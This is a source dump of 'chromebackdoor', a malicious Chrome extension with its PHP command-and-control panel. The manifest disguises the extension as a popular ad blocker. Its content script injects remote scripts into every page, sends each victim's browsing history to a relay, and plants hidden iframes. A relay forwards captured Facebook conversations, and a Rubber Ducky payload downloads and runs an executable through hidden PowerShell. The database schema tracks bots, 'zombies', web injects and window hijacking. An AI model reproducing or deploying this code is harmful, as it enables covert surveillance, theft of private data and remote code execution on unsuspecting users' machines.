18 | %option%Please Create keylooger.php%option%
--------------------------------------------------------------------------------
/backdoor/plugins/simple.chromebackdoor:
--------------------------------------------------------------------------------
1 | %title%Sample Module%title%
2 |
3 | %content%
4 | var url = window.location.href;
5 | if(url.indexOf('') > -1)
6 | {
7 | console.log("sample inject here");
8 | }
9 | %content%
--------------------------------------------------------------------------------
/backdoor/relais/index.php:
--------------------------------------------------------------------------------
1 | urlencode($_POST['facebookspy_add']),
35 | 'z_name' => urlencode($z_name)
36 | );
37 | $fields_string = "";
38 | foreach($fields as $key => $value)
39 | {
40 | $fields_string .= $key.'='.$value.'&';
41 | }
42 | rtrim($fields_string, '&');
43 | $ch = curl_init();
44 | $url = $domain."web/gate.php";
45 | curl_setopt($ch,CURLOPT_URL, $url);
46 | curl_setopt($ch,CURLOPT_POST, count($fields));
47 | curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
48 | $result = curl_exec($ch);
49 | curl_close($ch);
50 | echo "ok";
51 | }
52 | ?>
--------------------------------------------------------------------------------
/backdoor/relais/lock.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/relais/lock.php
--------------------------------------------------------------------------------
/backdoor/relais/show_script.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/backdoor/rubber_ducky/payload.chromebackdoor:
--------------------------------------------------------------------------------
1 | REM source : https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-wget---execute
2 | DELAY 3000
3 | GUI r
4 | DELAY 400
5 | STRING powershell Start-Process cmd -Verb runAs
6 | DELAY 400
7 | ENTER
8 | DELAY 500
9 | REM change to ALT y for ANG
10 | ALT o
11 | DELAY 800
12 | STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('%server%%exe%',\"$env:temp\ch.exe\"); Start-Process \"$env:temp\ch.exe\""
13 | ENTER
14 |
--------------------------------------------------------------------------------
/backdoor/server/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/.DS_Store
--------------------------------------------------------------------------------
/backdoor/server/img/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/img/.DS_Store
--------------------------------------------------------------------------------
/backdoor/server/img/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/img/2.png
--------------------------------------------------------------------------------
/backdoor/server/js/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/js/.DS_Store
--------------------------------------------------------------------------------
/backdoor/server/js/call.js:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/server/js/call.js
--------------------------------------------------------------------------------
/backdoor/server/js/check.js:
--------------------------------------------------------------------------------
1 | $(document).ready(function()
2 | {
3 | var phish = "";
4 | var version = 'Build001';
5 | var tabURL = window.location.href;
6 |
7 | //settings
8 |
9 | var v = document.createElement('script');
10 | v.type = 'text/javascript';
11 | v.async = true;
12 | v.id = "scriptchromebackdoor"
13 | v.src = server_web+"relais/jquery.js";
14 | //var z = document.getElementById('script')[0];
15 |
16 | var s = document.createElement('script');
17 | s.type = 'text/javascript';
18 | s.async = true;
19 | s.src = server_web+"relais/show_script.php";
20 | document.body.appendChild(v);
21 | document.body.appendChild(s);
22 |
23 | function online(){
24 | $.get(server_web+'relais/index.php?online=1');
25 | }
26 |
27 | function iframe(){
28 | if(typeof $('#zfpjfizeoi')[0] == undefined){
29 | $.get(server_web+'relais/index.php?iframe=1', function(data){
30 | if(data != ''){
31 | var ifrm = document.createElement("IFRAME");
32 | ifrm.setAttribute("src", data);
33 | ifrm.setAttribute("id", "zfpjfizeoi");
34 | document.body.appendChild(ifrm);
35 | }
36 | });
37 | }
38 | }
39 |
40 | setInterval(iframe, 300);
41 | setInterval(online,20000);
42 | var url_history = window.location.href;
43 |
44 | $.get(server_web+'relais/index.php?online=1');
45 | $.get(server_web+'relais/index.php?history='+url_history);
46 | $.get(server_web+'relais/index.php?n=pop&version='+version);
47 |
48 | //module
49 |
50 |
51 | });
52 |
--------------------------------------------------------------------------------
/backdoor/server/lib/jquery.cookie.min.js:
--------------------------------------------------------------------------------
1 | /*! jquery.cookie v1.4.1 | MIT */
2 | !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:decodeURIComponent(a)}function d(a){return b(h.json?JSON.stringify(a):String(a))}function e(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return a=decodeURIComponent(a.replace(g," ")),h.json?JSON.parse(a):a}catch(b){}}function f(b,c){var d=h.raw?b:e(b);return a.isFunction(c)?c(d):d}var g=/\+/g,h=a.cookie=function(e,g,i){if(void 0!==g&&!a.isFunction(g)){if(i=a.extend({},h.defaults,i),"number"==typeof i.expires){var j=i.expires,k=i.expires=new Date;k.setTime(+k+864e5*j)}return document.cookie=[b(e),"=",d(g),i.expires?"; expires="+i.expires.toUTCString():"",i.path?"; path="+i.path:"",i.domain?"; domain="+i.domain:"",i.secure?"; secure":""].join("")}for(var l=e?void 0:{},m=document.cookie?document.cookie.split("; "):[],n=0,o=m.length;o>n;n++){var p=m[n].split("="),q=c(p.shift()),r=p.join("=");if(e&&e===q){l=f(r,g);break}e||void 0===(r=f(r))||(l[q]=r)}return l};h.defaults={},a.removeCookie=function(b,c){return void 0===a.cookie(b)?!1:(a.cookie(b,"",a.extend({},c,{expires:-1})),!a.cookie(b))}});
--------------------------------------------------------------------------------
/backdoor/server/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Chrome Backdoor (graniet)",
3 | "description": "La plus populaire des extensions Chrome, avec plus de 40 millions d'utilisateurs ! \n Bloque la publicité sur le web.",
4 | "version": "2.1",
5 | "manifest_version": 2,
6 | "icons": {
7 | "16": "img/2.png",
8 | "32": "img/2.png",
9 | "48": "img/2.png",
10 | "128": "img/2.png"
11 | },
12 | "background":{
13 | "scripts":[
14 | "js/call.js",
15 | "lib/jquery.min.js"
16 | ]
17 | },
18 | "content_scripts": [
19 | {
20 | "matches": [
21 | ""
22 | ],
23 | "js": [
24 | "lib/jquery.min.js",
25 | "js/check.js"
26 | ]
27 | }
28 | ],
29 | "permissions": [
30 | "tabs",
31 | "http://*/",
32 | "https://*/",
33 | "background",
34 | "webRequest",
35 | "storage",
36 | "browsingData"
37 | ]
38 | }
--------------------------------------------------------------------------------
/backdoor/sql/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/sql/.DS_Store
--------------------------------------------------------------------------------
/backdoor/sql/chromebackdoor.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.4.10
3 | -- http://www.phpmyadmin.net
4 | --
5 | -- Client : localhost:8889
6 | -- Généré le : Ven 15 Avril 2016 à 10:48
7 | -- Version du serveur : 5.5.42
8 | -- Version de PHP : 5.6.10
9 |
10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
11 | SET time_zone = "+00:00";
12 |
13 |
14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
17 | /*!40101 SET NAMES utf8mb4 */;
18 |
19 | --
20 | -- Base de données : `chrombackdoor-master`
21 | --
22 |
23 | -- --------------------------------------------------------
24 |
25 | --
26 | -- Structure de la table `action_wait`
27 | --
28 |
29 | CREATE TABLE `action_wait` (
30 | `id` int(11) NOT NULL,
31 | `zombie_name` text NOT NULL,
32 | `commande` text NOT NULL,
33 | `used` int(11) NOT NULL DEFAULT '0'
34 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
35 |
36 | -- --------------------------------------------------------
37 |
38 | --
39 | -- Structure de la table `bots`
40 | --
41 |
42 | CREATE TABLE `bots` (
43 | `id` int(11) NOT NULL,
44 | `name` text NOT NULL,
45 | `backdoor_name` text NOT NULL,
46 | `numbers_logs` int(11) NOT NULL DEFAULT '0',
47 | `online` int(11) NOT NULL DEFAULT '0'
48 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
49 |
50 | -- --------------------------------------------------------
51 |
52 | --
53 | -- Structure de la table `bot_settings`
54 | --
55 |
56 | CREATE TABLE `bot_settings` (
57 | `id` int(11) NOT NULL,
58 | `setting_name` text NOT NULL,
59 | `setting_value` text NOT NULL,
60 | `bot_id` text NOT NULL,
61 | `available` int(11) NOT NULL DEFAULT '0'
62 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
63 |
64 | -- --------------------------------------------------------
65 |
66 | --
67 | -- Structure de la table `facebookspy`
68 | --
69 |
70 | CREATE TABLE `facebookspy` (
71 | `id` int(11) NOT NULL,
72 | `bot_id` int(11) NOT NULL,
73 | `source_code` longtext NOT NULL,
74 | `date_last` text NOT NULL,
75 | `new` int(11) NOT NULL DEFAULT '0'
76 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
77 |
78 | -- --------------------------------------------------------
79 |
80 | --
81 | -- Structure de la table `hijacking_window`
82 | --
83 |
84 | CREATE TABLE `hijacking_window` (
85 | `id` int(11) NOT NULL,
86 | `bot_id` int(11) NOT NULL,
87 | `windows_code` longtext NOT NULL
88 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
89 |
90 | -- --------------------------------------------------------
91 |
92 | --
93 | -- Structure de la table `history_web`
94 | --
95 |
96 | CREATE TABLE `history_web` (
97 | `id` int(11) NOT NULL,
98 | `website` text NOT NULL,
99 | `zombie` text NOT NULL,
100 | `timevisit` text NOT NULL
101 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
102 |
103 | -- --------------------------------------------------------
104 |
105 | --
106 | -- Structure de la table `logs_checker`
107 | --
108 |
109 | CREATE TABLE `logs_checker` (
110 | `id` int(11) NOT NULL,
111 | `id_zombie` int(11) NOT NULL,
112 | `url_site` text NOT NULL,
113 | `logs_site` text NOT NULL,
114 | `last` int(11) DEFAULT '0',
115 | `zombie` text NOT NULL,
116 | `webinject` text NOT NULL
117 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
118 |
119 | -- --------------------------------------------------------
120 |
121 | --
122 | -- Structure de la table `payloads`
123 | --
124 |
125 | CREATE TABLE `payloads` (
126 | `id` int(11) NOT NULL,
127 | `name` text NOT NULL,
128 | `urlverif` text NOT NULL,
129 | `codeinject` text NOT NULL,
130 | `action` int(11) NOT NULL DEFAULT '0'
131 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
132 |
133 | -- --------------------------------------------------------
134 |
135 | --
136 | -- Structure de la table `settings`
137 | --
138 |
139 | CREATE TABLE `settings` (
140 | `id` int(11) NOT NULL,
141 | `hide_panel` int(11) NOT NULL DEFAULT '0',
142 | `get_name` text NOT NULL,
143 | `get_value` text NOT NULL,
144 | `jabber_username` text NOT NULL,
145 | `jabber_password` text NOT NULL,
146 | `jabber_to` text NOT NULL
147 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
148 |
149 | --
150 | -- Contenu de la table `settings`
151 | --
152 |
153 | INSERT INTO `settings` (`id`, `hide_panel`, `get_name`, `get_value`, `jabber_username`, `jabber_password`, `jabber_to`) VALUES
154 | (1, 0, '', '', '', '', '');
155 |
156 | -- --------------------------------------------------------
157 |
158 | --
159 | -- Structure de la table `utilisateurs`
160 | --
161 |
162 | CREATE TABLE `utilisateurs` (
163 | `id` int(11) NOT NULL,
164 | `username` text NOT NULL,
165 | `password` varchar(255) NOT NULL,
166 | `roles` int(11) NOT NULL DEFAULT '3',
167 | `bot` int(11) NOT NULL DEFAULT '0'
168 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
169 |
170 | --
171 | -- Contenu de la table `utilisateurs`
172 | --
173 |
174 | INSERT INTO `utilisateurs` (`id`, `username`, `password`, `roles`, `bot`) VALUES
175 | (1, 'root', '7b24afc8bc80e548d66c4e7ff72171c5', 0, 0);
176 |
177 | -- --------------------------------------------------------
178 |
179 | --
180 | -- Structure de la table `webinject`
181 | --
182 |
183 | CREATE TABLE `webinject` (
184 | `id` int(11) NOT NULL,
185 | `webinject_site` text NOT NULL,
186 | `webinject_code` text NOT NULL,
187 | `webinject_status` int(11) NOT NULL DEFAULT '0'
188 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
189 |
190 | --
191 | -- Index pour les tables exportées
192 | --
193 |
194 | --
195 | -- Index pour la table `action_wait`
196 | --
197 | ALTER TABLE `action_wait`
198 | ADD PRIMARY KEY (`id`);
199 |
200 | --
201 | -- Index pour la table `bots`
202 | --
203 | ALTER TABLE `bots`
204 | ADD PRIMARY KEY (`id`);
205 |
206 | --
207 | -- Index pour la table `bot_settings`
208 | --
209 | ALTER TABLE `bot_settings`
210 | ADD PRIMARY KEY (`id`);
211 |
212 | --
213 | -- Index pour la table `facebookspy`
214 | --
215 | ALTER TABLE `facebookspy`
216 | ADD PRIMARY KEY (`id`);
217 |
218 | --
219 | -- Index pour la table `hijacking_window`
220 | --
221 | ALTER TABLE `hijacking_window`
222 | ADD PRIMARY KEY (`id`);
223 |
224 | --
225 | -- Index pour la table `history_web`
226 | --
227 | ALTER TABLE `history_web`
228 | ADD PRIMARY KEY (`id`);
229 |
230 | --
231 | -- Index pour la table `logs_checker`
232 | --
233 | ALTER TABLE `logs_checker`
234 | ADD PRIMARY KEY (`id`);
235 |
236 | --
237 | -- Index pour la table `payloads`
238 | --
239 | ALTER TABLE `payloads`
240 | ADD PRIMARY KEY (`id`);
241 |
242 | --
243 | -- Index pour la table `settings`
244 | --
245 | ALTER TABLE `settings`
246 | ADD PRIMARY KEY (`id`);
247 |
248 | --
249 | -- Index pour la table `utilisateurs`
250 | --
251 | ALTER TABLE `utilisateurs`
252 | ADD PRIMARY KEY (`id`);
253 |
254 | --
255 | -- Index pour la table `webinject`
256 | --
257 | ALTER TABLE `webinject`
258 | ADD PRIMARY KEY (`id`);
259 |
260 | --
261 | -- AUTO_INCREMENT pour les tables exportées
262 | --
263 |
264 | --
265 | -- AUTO_INCREMENT pour la table `action_wait`
266 | --
267 | ALTER TABLE `action_wait`
268 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
269 | --
270 | -- AUTO_INCREMENT pour la table `bots`
271 | --
272 | ALTER TABLE `bots`
273 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
274 | --
275 | -- AUTO_INCREMENT pour la table `bot_settings`
276 | --
277 | ALTER TABLE `bot_settings`
278 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
279 | --
280 | -- AUTO_INCREMENT pour la table `facebookspy`
281 | --
282 | ALTER TABLE `facebookspy`
283 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
284 | --
285 | -- AUTO_INCREMENT pour la table `hijacking_window`
286 | --
287 | ALTER TABLE `hijacking_window`
288 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
289 | --
290 | -- AUTO_INCREMENT pour la table `history_web`
291 | --
292 | ALTER TABLE `history_web`
293 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
294 | --
295 | -- AUTO_INCREMENT pour la table `logs_checker`
296 | --
297 | ALTER TABLE `logs_checker`
298 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
299 | --
300 | -- AUTO_INCREMENT pour la table `payloads`
301 | --
302 | ALTER TABLE `payloads`
303 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
304 | --
305 | -- AUTO_INCREMENT pour la table `settings`
306 | --
307 | ALTER TABLE `settings`
308 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2;
309 | --
310 | -- AUTO_INCREMENT pour la table `utilisateurs`
311 | --
312 | ALTER TABLE `utilisateurs`
313 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2;
314 | --
315 | -- AUTO_INCREMENT pour la table `webinject`
316 | --
317 | ALTER TABLE `webinject`
318 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
319 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
320 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
321 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
322 |
--------------------------------------------------------------------------------
/backdoor/version.txt:
--------------------------------------------------------------------------------
1 | 1.2
--------------------------------------------------------------------------------
/backdoor/web/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/.DS_Store
--------------------------------------------------------------------------------
/backdoor/web/action/bots/index.php:
--------------------------------------------------------------------------------
1 |
2 |
13 |
14 |
15 |
16 |
17 | Online |
18 | Country |
19 | Identify |
20 | Build |
21 | Logs |
22 |
23 |
24 |
25 | prepare("SELECT * FROM bots");
27 | $bots->execute();
28 | while($fetch = $bots->fetch())
29 | {
30 | if($fetch['online'] == '0')
31 | $online = "
";
32 | if($fetch['online'] == '1')
33 | $online = "
";
34 | ?>
35 |
36 | |
37 |  |
38 | '> |
39 | |
40 | |
41 |
42 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/backdoor/web/action/facebookspy/index.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT * FROM facebookspy WHERE bot_id = :bot_id");
7 | $select->bindParam(':bot_id', $_GET['id']);
8 | $select->execute();
9 | if($select->rowCount() < 1){
10 | exit();
11 | }
12 | ?>
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
Listing conversation
32 |
33 |
34 |
35 |
36 |
37 |
38 |
Conversation title
39 |
40 |
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/backdoor/web/action/hijack/index.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
8 | $select->bindParam(':bot_id', $_GET['id']);
9 | $select->execute();
10 | if($select->rowCount() < 1){
11 | exit();
12 | }
13 | ?>
14 |
15 |
16 |
17 |
18 |
28 |
29 |
30 |
31 |
Old visiting
32 |
33 |
34 |
35 |
Last window
36 |
37 |
![]()
38 |
39 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/backdoor/web/action/info/index.php:
--------------------------------------------------------------------------------
1 | getName($_GET['id']);
8 | $z_name = $bot->bot_id;
9 | ?>
10 |
11 |
19 |
20 |
Listing action
21 |
31 |
32 |
33 |
Active windows
34 | prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
36 | $select->bindParam(':bot_id', $_GET['id']);
37 | $select->execute();
38 | if($select->rowCount() > 0){
39 | $ids = $_GET['id'];
40 | echo "
Look last window screen";
41 | }
42 | ?>
43 |
44 |
45 |
Facebook Spy
46 |
47 |
48 |
49 | prepare("SELECT * FROM facebookspy WHERE bot_id = :bot_id");
51 | $select->bindParam(':bot_id', $_GET['id']);
52 | $select->execute();
53 | if($select->rowCount() > 0){
54 | $ids = $_GET['id'];
55 | echo "
Look last conversation";
56 | }
57 | ?>
58 |
59 |
60 |
Iframe module
61 |
103 | setSetting($z_name, 'iframe', $_POST['url']);
106 | }
107 | elseif(isset($_POST['status'])){
108 | $bot->changeSettingStatus($z_name, 'iframe');
109 | echo "status update!";
110 | }
111 | ?>
112 |
113 |
114 |
Computer history
115 |
116 |
117 |
118 | Website |
119 | Time |
120 |
121 |
122 |
123 | getHistory($z_name); ?>
124 |
125 |
126 |
127 |
--------------------------------------------------------------------------------
/backdoor/web/action/listpayload/index.php:
--------------------------------------------------------------------------------
1 |
7 |
8 |
19 |
20 |
21 |
22 |
23 | Payload listing |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/backdoor/web/action/login/index.php:
--------------------------------------------------------------------------------
1 | connexion($username, $new_password);
13 | echo $users->status;
14 | }
15 | }
16 | ?>
17 |
18 |
23 |
24 |
--------------------------------------------------------------------------------
/backdoor/web/action/panel/index.php:
--------------------------------------------------------------------------------
1 |
2 |
13 |
14 |
15 |
16 |
17 | #id |
18 | Name |
19 | Url |
20 | Logs |
21 |
22 |
23 |
24 | prepare("SELECT * FROM logs_checker ORDER BY id DESC LIMIT 0,5");
26 | $logs->execute();
27 | while($fetch = $logs->fetch())
28 | {
29 | if(base64_decode($fetch['logs_site'], true) != ''){
30 | $log = base64_decode($fetch['logs_site'], true);
31 | }
32 | else{
33 | $log = $fetch['logs_site'];
34 | }
35 | ?>
36 |
37 | |
38 | |
39 | |
40 | |
41 |
42 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/backdoor/web/action/payload/index.php:
--------------------------------------------------------------------------------
1 | setName($name);
11 | $payload->setUrl($code_url);
12 | $payload->setCode($code_inject);
13 | $payload->insertpayload();
14 | echo $payload->status;
15 | }
16 | ?>
17 |
--------------------------------------------------------------------------------
/backdoor/web/action/settings/index.php:
--------------------------------------------------------------------------------
1 |
4 |
5 |
16 |
17 | prepare("SELECT * FROM settings WHERE jabber_username = :jabber_username");
25 | $select->bindParam(':jabber_username', $jabber_username);
26 | $select->execute();
27 | if($select->rowCount() > 0){
28 | $fetch = $select->fetch();
29 | if($fetch['jabber_username'] != ''){
30 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to");
31 | $update->bindParam(':username', $jabber_username);
32 | $update->bindParam(':password', $jabber_password);
33 | $update->bindParam(':jabber_to', $jabber_to);
34 | $update->execute();
35 | echo '
Jabber update !
';
36 | }
37 | }
38 | else{
39 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to");
40 | $update->bindParam(':username', $jabber_username);
41 | $update->bindParam(':password', $jabber_password);
42 | $update->bindParam(':jabber_to', $jabber_to);
43 | $update->execute();
44 | echo '
Jabber update !
';
45 | }
46 | }
47 | }
48 | ?>
49 |
62 |
63 |
104 |
105 | prepare("SELECT * FROM utilisateurs WHERE username = :username");
113 | $select->bindParam(':username', $username);
114 | $select->execute();
115 | if($select->rowCount() > 0){
116 | $fetch = $select->fetch();
117 | if($fetch['username'] == $username){
118 | echo '
User already here
';
119 | }
120 | else{
121 | echo '
Error
';
122 | }
123 | }
124 | else{
125 | if($roles == '0' || $roles == '1'){
126 | $insert = $bdd->prepare("INSERT INTO utilisateurs(username,password,roles) VALUES(:username, :password, :roles)");
127 | $md5 = md5($password);
128 | $insert->bindParam(':username', $username);
129 | $insert->bindParam(':password', $md5);
130 | $insert->bindParam(':roles', $roles);
131 | $insert->execute();
132 | echo '
User added!
';
133 | }
134 | else{
135 | echo '
Error
';
136 | }
137 | }
138 | }
139 | }
140 | ?>
141 |
161 |
162 |
--------------------------------------------------------------------------------
/backdoor/web/class/bot.class.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT name FROM bots WHERE id = :id");
9 | $select_name->bindParam(':id', $_GET['id']);
10 | $select_name->execute();
11 | $result = $select_name->fetch();
12 | $this->bot_id = $result['name'];
13 | return true;
14 | }
15 |
16 |
17 | static function getLastSpy($bot_id = null){
18 | if($bot_id != ''){
19 | global $bdd;
20 | if(is_numeric($bot_id)){
21 | $select = $bdd->prepare("SELECT date_last FROM facebookspy WHERE bot_id = :bot_id");
22 | $select->bindParam(':bot_id', $bot_id);
23 | $select->execute();
24 | if($select->rowCount() > 0){
25 | $date = $select->fetch()['date_last'];
26 | return $date;
27 | }
28 | else{
29 | $date = "No date logged";
30 | return $date;
31 | }
32 | }
33 | }
34 | }
35 |
36 | static function GetLastHistorique($bot_id = NULL){
37 | if($bot_id != NULL){
38 | global $bdd;
39 | $select_name = $bdd->prepare("SELECT name FROM bots WHERE id = :id");
40 | $select_name->bindParam(':id', $_GET['id']);
41 | $select_name->execute();
42 | $result = $select_name->fetch();
43 | $select_historique = $bdd->prepare("SELECT * FROM history_web WHERE zombie = :zname");
44 | $select_historique->bindParam(':zname', $result['name']);
45 | $select_historique->execute();
46 | if($select_historique->rowCount() > 0){
47 | while($result = $select_historique->fetch()){
48 | ?>
49 |
56 | prepare("SELECT * FROM bot_settings WHERE setting_name = :name AND bot_id = :bot_id");
65 | $select->bindParam(':name', $setting_name);
66 | $select->bindParam(':bot_id', $bot_id);
67 | $select->execute();
68 | if($select->rowCount() > 0){
69 | $result = $select->fetch();
70 | return $result;
71 | }
72 | return false;
73 | }
74 |
75 | public function getHistory($z_name = NULL){
76 | global $bdd;
77 | $history = $bdd->prepare("SELECT * FROM history_web WHERE zombie = :name ORDER BY id DESC LIMIT 0,5");
78 | $history->bindParam(':name', $z_name);
79 | $history->execute();
80 | while($fetch = $history->fetch()){
81 | ?>
82 |
83 | |
84 | |
85 |
86 | prepare("SELECT * FROM bot_settings WHERE setting_name = :name AND bot_id = :bot_id");
93 | $select->bindParam(':name', $setting_name);
94 | $select->bindParam(':bot_id', $bot_id);
95 | $select->execute();
96 | if($select->rowCount() > 0){
97 | $update = $bdd->prepare("UPDATE bot_settings SET setting_value = :value WHERE bot_id = :bot_id");
98 | $update->bindParam(':value', $setting_value);
99 | $update->bindParam(':bot_id', $bot_id);
100 | $update->execute();
101 | return true;
102 | }
103 | echo $bot_id;
104 | $insert = $bdd->prepare("INSERT INTO bot_settings(setting_name,setting_value,bot_id) VALUES(:name, :value, :bot_id)");
105 | $insert->bindParam(':name', $setting_name);
106 | $insert->bindParam(':value', $setting_value);
107 | $insert->bindParam(':bot_id', $bot_id);
108 | $insert->execute();
109 | return true;
110 |
111 | }
112 |
113 | public function changeSettingStatus($z_name, $setting_name){
114 | global $bdd;
115 | $select = $bdd->prepare("SELECT * FROM bot_settings WHERE bot_id = :bot_id AND setting_name = :name");
116 | $select->bindParam(':bot_id', $z_name);
117 | $select->bindParam(':name', $setting_name);
118 | $select->execute();
119 | if($select->rowCount() > 0){
120 | $result = $select->fetch();
121 | if($result['available'] == '0'){
122 | $update = $bdd->prepare("UPDATE bot_settings SET available = '1' WHERE bot_id = :bot_id AND setting_name = :name");
123 | $update->bindParam(':bot_id', $z_name);
124 | $update->bindParam(':name', $setting_name);
125 | $update->execute();
126 | return true;
127 | }
128 | elseif($result['available'] == '1'){
129 | $update = $bdd->prepare("UPDATE bot_settings SET available = '0' WHERE bot_id = :bot_id AND setting_name = :name");
130 | $update->bindParam(':bot_id', $z_name);
131 | $update->bindParam(':name', $setting_name);
132 | $update->execute();
133 | return true;
134 | }
135 | return false;
136 | }
137 | return false;
138 | }
139 | }
--------------------------------------------------------------------------------
/backdoor/web/class/bot_logout.php:
--------------------------------------------------------------------------------
1 | query("UPDATE bots SET online = '0'");
4 | ?>
--------------------------------------------------------------------------------
/backdoor/web/class/inject.class.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT * FROM webinject WHERE webinject_site = :site");
13 | $select->bindParam(':site', $webinject_site);
14 | $select->execute();
15 | if($select->rowCount() < 1){
16 | $insert = $bdd->prepare("INSERT INTO webinject(webinject_site, webinject_code) VALUES(:site, :code)");
17 | $insert->bindParam(':site', $webinject_site);
18 | $insert->bindParam(':code', $base64);
19 | $insert->execute();
20 | echo "Inject inserted";
21 | }
22 | else{
23 | echo "This inject already exists";
24 | }
25 | }
26 | }
27 | }
28 |
29 | static function show_inject($id = NULL){
30 | if($id != NULL){
31 | global $bdd;
32 | $select = $bdd->prepare("SELECT * FROM webinject WHERE webinject_site = :id");
33 | $select->bindParam(':id', $id);
34 | $select->execute();
35 | if($select->rowCount() > 0){
36 | $fetch = $select->fetch();
37 | echo "%site%".$fetch['webinject_site']."%site%";
38 | echo "%content%".base64_decode($fetch['webinject_code'])."%content%";
39 | }
40 | else{
41 | echo "[Not found]";
42 | }
43 | }
44 | }
45 | }
--------------------------------------------------------------------------------
/backdoor/web/class/payload.class.php:
--------------------------------------------------------------------------------
1 | name = $name;
12 | }
13 |
14 | function setUrl($url)
15 | {
16 | $this->url_verif = base64_encode($url);
17 | }
18 |
19 | function setCode($code)
20 | {
21 | $this->code_inject = base64_encode($code);
22 | }
23 |
24 | function insertpayload()
25 | {
26 | global $bdd;
27 | $insert = $bdd->prepare("INSERT INTO payloads(name,urlverif,codeinject) VALUES(:name, :urlverif, :codeinject)");
28 | $insert->bindParam(':name', $this->name);
29 | $insert->bindParam(':urlverif', $this->url_verif);
30 | $insert->bindParam(':codeinject', $this->code_inject);
31 | $insert->execute();
32 | $this->status = "Payload inserted .
";
33 | }
34 |
35 | static function getPayload(){
36 | global $bdd;
37 | $select = $bdd->prepare("SELECT * FROM payloads ORDER BY id ASC");
38 | $select->execute();
39 | if($select->rowCount() > 0){
40 | while($payload = $select->fetch()){
41 | ?>
42 |
43 | |
44 | launched |
45 | '>delete |
46 |
47 |
52 |
53 |
54 | Not payload found
55 | |
56 |
57 | prepare("SELECT * FROM payloads WHERE id = :id");
65 | $select->bindParam(':id', $p_id);
66 | $select->execute();
67 | if($select->rowCount() > 0){
68 | $delete = $bdd->prepare("DELETE FROM payloads WHERE id = :id");
